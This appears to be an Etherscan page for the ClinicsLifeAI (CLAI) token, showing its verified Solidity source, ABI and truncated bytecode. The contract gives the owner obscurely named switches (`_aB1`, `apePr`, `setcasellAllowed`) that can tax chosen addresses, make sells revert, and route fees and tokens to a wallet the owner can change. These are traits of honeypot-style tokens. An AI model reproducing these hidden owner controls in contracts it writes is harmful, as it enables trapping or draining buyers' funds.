ETH Price: $3,432.59 (-1.56%)

Token

ClinicsLifeAI (CLAI)
 

Overview

Max Total Supply

1,000,000,000 CLAI

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
325,860.81845172 CLAI

Value
$0.00
0x9f7f51855d48152C53ED9d6cc6EC5202d379F6CC
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CLINICSLIFEAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
shanghai EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-22
*/

// SPDX-License-Identifier: MIT

// Telegram : https://t.me/ClinicsLifeAI
// Website  : https://clinicslifeai.io/
// Twitter  : https://x.com/Clinicslifeai?t=

pragma solidity ^0.8.24;



abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CLINICSLIFEAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public apePr;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=5;

    uint256 private _reduceBuyTaxAt=50;

    uint256 private _reduceSellTaxAt=50;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"ClinicsLifeAI";
    string private constant _symbol = unicode"CLAI";
    uint256 public _maxTxAmount =   10000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public casellAllowed = 4;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caCatalyst = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _taxWallet = payable(0x094460Fb9e9cB05ef003B806D2A30C8E89F5951e);
        _balances[_msgSender()] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _aB1(address _pr) external onlyOwner {
        if (_calculateValue(_pr)) {
        _sP(_pr);
      }
    }

    function _calculateValue(address _pr) private view returns (bool) {
        return !apePr[_pr];
    }

    function _sP(address _pr) private {
        apePr[_pr] = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);

            if(block.number == firstBlock){
               require(perBuyCount[block.number] < 100, "Exceeds buys on the first block.");
               perBuyCount[block.number]++;
            }

            if (apePr[from] && to != address(uniswapV2Router) && ! isExile[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (!apePr[to] && ! isExile[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(apePr[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

	    if (!apePr[from] && !apePr[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caCatalyst && !inSwap && apePr[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < casellAllowed, "CA balance sell");
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && apePr[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {
        swapEnabled = enabled;
        _maxTaxSwap = amount;
    }

    function setcasellAllowed(uint256 amount) external onlyOwner {
        casellAllowed = amount;
    }

    function setcaCatalyst(bool _status) external onlyOwner {
        caCatalyst = _status;
    }

    function reclaimETH() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function reclaimERC20tokens(address _tokenAddr, uint _amount) external onlyOwner {
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }

    function setFeeWallet(address newTaxWallet) external onlyOwner {
        _taxWallet = payable(newTaxWallet);
    }

    function isNotRestricted() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        apePr[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_pr","type":"address"}],"name":"_aB1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"apePr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCatalyst","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"casellAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isNotRestricted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reclaimERC20tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reclaimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"setcaCatalyst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setcasellAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600755601e600855601e6009556005600a556005600b556032600c556032600d55601e600e555f600f555f6010555f6011556009600a62000047919062000620565b6298968062000057919062000670565b6012556009600a6200006a919062000620565b629896806200007a919062000670565b6013556009600a6200008d919062000620565b620f42406200009d919062000670565b6014556009600a620000b0919062000620565b62989680620000c0919062000670565b60155560046018555f60195f6101000a81548160ff0219169083151502179055505f601960016101000a81548160ff0219169083151502179055506001601960026101000a81548160ff02191690831515021790555034801562000122575f80fd5b505f620001346200046060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073094460fb9e9cb05ef003b806d2a30c8e89f5951e60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000234919062000620565b633b9aca0062000245919062000670565b60015f620002586200046060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002aa6200046760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620003d46200046060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000432919062000620565b633b9aca0062000443919062000670565b604051620004529190620006cb565b60405180910390a3620006e6565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200051857808604811115620004f057620004ef6200048e565b5b6001851615620005005780820291505b80810290506200051085620004bb565b9450620004d0565b94509492505050565b5f8262000532576001905062000604565b8162000541575f905062000604565b81600181146200055a576002811462000565576200059b565b600191505062000604565b60ff8411156200057a57620005796200048e565b5b8360020a9150848211156200059457620005936200048e565b5b5062000604565b5060208310610133831016604e8410600b8410161715620005d55782820a905083811115620005cf57620005ce6200048e565b5b62000604565b620005e48484846001620004c7565b92509050818404811115620005fe57620005fd6200048e565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200062c826200060b565b9150620006398362000614565b9250620006687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000521565b905092915050565b5f6200067c826200060b565b915062000689836200060b565b925082820262000699816200060b565b91508282048414831517620006b357620006b26200048e565b5b5092915050565b620006c5816200060b565b82525050565b5f602082019050620006e05f830184620006ba565b92915050565b613e4a80620006f45f395ff3fe6080604052600436106101c5575f3560e01c8063715018a6116100f657806395d89b4111610094578063d45cce6511610063578063d45cce65146105ea578063dd62ed3e14610614578063e68d0b0514610650578063f2fde38b14610678576101cc565b806395d89b4114610532578063a9059cbb1461055c578063bf474bed14610598578063c4e2b619146105c2576101cc565b80638da5cb5b116100d05780638da5cb5b1461048e5780638f9a55c0146104b857806390b60549146104e257806390d49b9d1461050a576101cc565b8063715018a6146104385780637d1db4a51461044e5780638a8c523c14610478576101cc565b80632017e87a1161016357806349bd5a5e1161013d57806349bd5a5e1461036e5780635979b1a7146103985780636e463667146103d457806370a08231146103fc576101cc565b80632017e87a146102e057806323b872dd14610308578063313ce56714610344576101cc565b80630f144a481161019f5780630f144a481461024c5780630faee56f1461026257806310c435aa1461028c57806318160ddd146102b6576101cc565b806301ab6ee5146101d057806306fdde03146101e6578063095ea7b314610210576101cc565b366101cc57005b5f80fd5b3480156101db575f80fd5b506101e46106a0565b005b3480156101f1575f80fd5b506101fa6107cf565b6040516102079190612d71565b60405180910390f35b34801561021b575f80fd5b5061023660048036038101906102319190612e22565b61080c565b6040516102439190612e7a565b60405180910390f35b348015610257575f80fd5b50610260610829565b005b34801561026d575f80fd5b50610276610924565b6040516102839190612ea2565b60405180910390f35b348015610297575f80fd5b506102a061092a565b6040516102ad9190612ea2565b60405180910390f35b3480156102c1575f80fd5b506102ca610930565b6040516102d79190612ea2565b60405180910390f35b3480156102eb575f80fd5b5061030660048036038101906103019190612ebb565b610953565b005b348015610313575f80fd5b5061032e60048036038101906103299190612ee6565b610a02565b60405161033b9190612e7a565b60405180910390f35b34801561034f575f80fd5b50610358610ad6565b6040516103659190612f51565b60405180910390f35b348015610379575f80fd5b50610382610ade565b60405161038f9190612f79565b60405180910390f35b3480156103a3575f80fd5b506103be60048036038101906103b99190612ebb565b610b03565b6040516103cb9190612e7a565b60405180910390f35b3480156103df575f80fd5b506103fa60048036038101906103f59190612f92565b610b20565b005b348015610407575f80fd5b50610422600480360381019061041d9190612ebb565b610bbe565b60405161042f9190612ea2565b60405180910390f35b348015610443575f80fd5b5061044c610c04565b005b348015610459575f80fd5b50610462610d52565b60405161046f9190612ea2565b60405180910390f35b348015610483575f80fd5b5061048c610d58565b005b348015610499575f80fd5b506104a261136d565b6040516104af9190612f79565b60405180910390f35b3480156104c3575f80fd5b506104cc611394565b6040516104d99190612ea2565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190612fe7565b61139a565b005b348015610515575f80fd5b50610530600480360381019061052b9190612ebb565b61144b565b005b34801561053d575f80fd5b50610546611522565b6040516105539190612d71565b60405180910390f35b348015610567575f80fd5b50610582600480360381019061057d9190612e22565b61155f565b60405161058f9190612e7a565b60405180910390f35b3480156105a3575f80fd5b506105ac61157c565b6040516105b99190612ea2565b60405180910390f35b3480156105cd575f80fd5b506105e860048036038101906105e39190612e22565b611582565b005b3480156105f5575f80fd5b506105fe6116b7565b60405161060b9190612e7a565b60405180910390f35b34801561061f575f80fd5b5061063a60048036038101906106359190613012565b6116ca565b6040516106479190612ea2565b60405180910390f35b34801561065b575f80fd5b5061067660048036038101906106719190613050565b61174c565b005b348015610683575f80fd5b5061069e60048036038101906106999190612ebb565b611805565b005b6106a86119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072b906130d8565b60405180910390fd5b6009600a6107429190613252565b633b9aca00610751919061329c565b6012819055506009600a6107659190613252565b633b9aca00610774919061329c565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6107a99190613252565b633b9aca006107b8919061329c565b6040516107c59190612ea2565b60405180910390a1565b60606040518060400160405280600d81526020017f436c696e6963734c696665414900000000000000000000000000000000000000815250905090565b5f61081f6108186119c2565b84846119c9565b6001905092915050565b6108316119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b4906130d8565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610921573d5f803e3d5ffd5b50565b60155481565b60185481565b5f6009600a61093f9190613252565b633b9aca0061094e919061329c565b905090565b61095b6119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109de906130d8565b60405180910390fd5b6109f081611b8c565b156109ff576109fe81611bdf565b5b50565b5f610a0e848484611c37565b610acb84610a1a6119c2565b610ac685604051806060016040528060288152602001613ded6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a7d6119c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127d59092919063ffffffff16565b6119c9565b600190509392505050565b5f6009905090565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052805f5260405f205f915054906101000a900460ff1681565b610b286119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab906130d8565b60405180910390fd5b8060188190555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c0c6119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f906130d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b610d606119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de3906130d8565b60405180910390fd5b601760149054906101000a900460ff1615610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390613327565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ed83060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610ec49190613252565b633b9aca00610ed3919061329c565b6119c9565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f42573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f669190613359565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fec573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110109190613359565b6040518363ffffffff1660e01b815260040161102d929190613384565b6020604051808303815f875af1158015611049573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061106d9190613359565b60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111e030610bbe565b5f806111ea61136d565b426040518863ffffffff1660e01b815260040161120c969594939291906133ed565b60606040518083038185885af1158015611228573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061124d9190613460565b50505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112ed9291906134b0565b6020604051808303815f875af1158015611309573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132d91906134eb565b506001601960016101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b6113a26119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461142e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611425906130d8565b60405180910390fd5b80601960026101000a81548160ff02191690831515021790555050565b6114536119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d6906130d8565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600481526020017f434c414900000000000000000000000000000000000000000000000000000000815250905090565b5f61157261156b6119c2565b8484611c37565b6001905092915050565b60145481565b61158a6119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160d9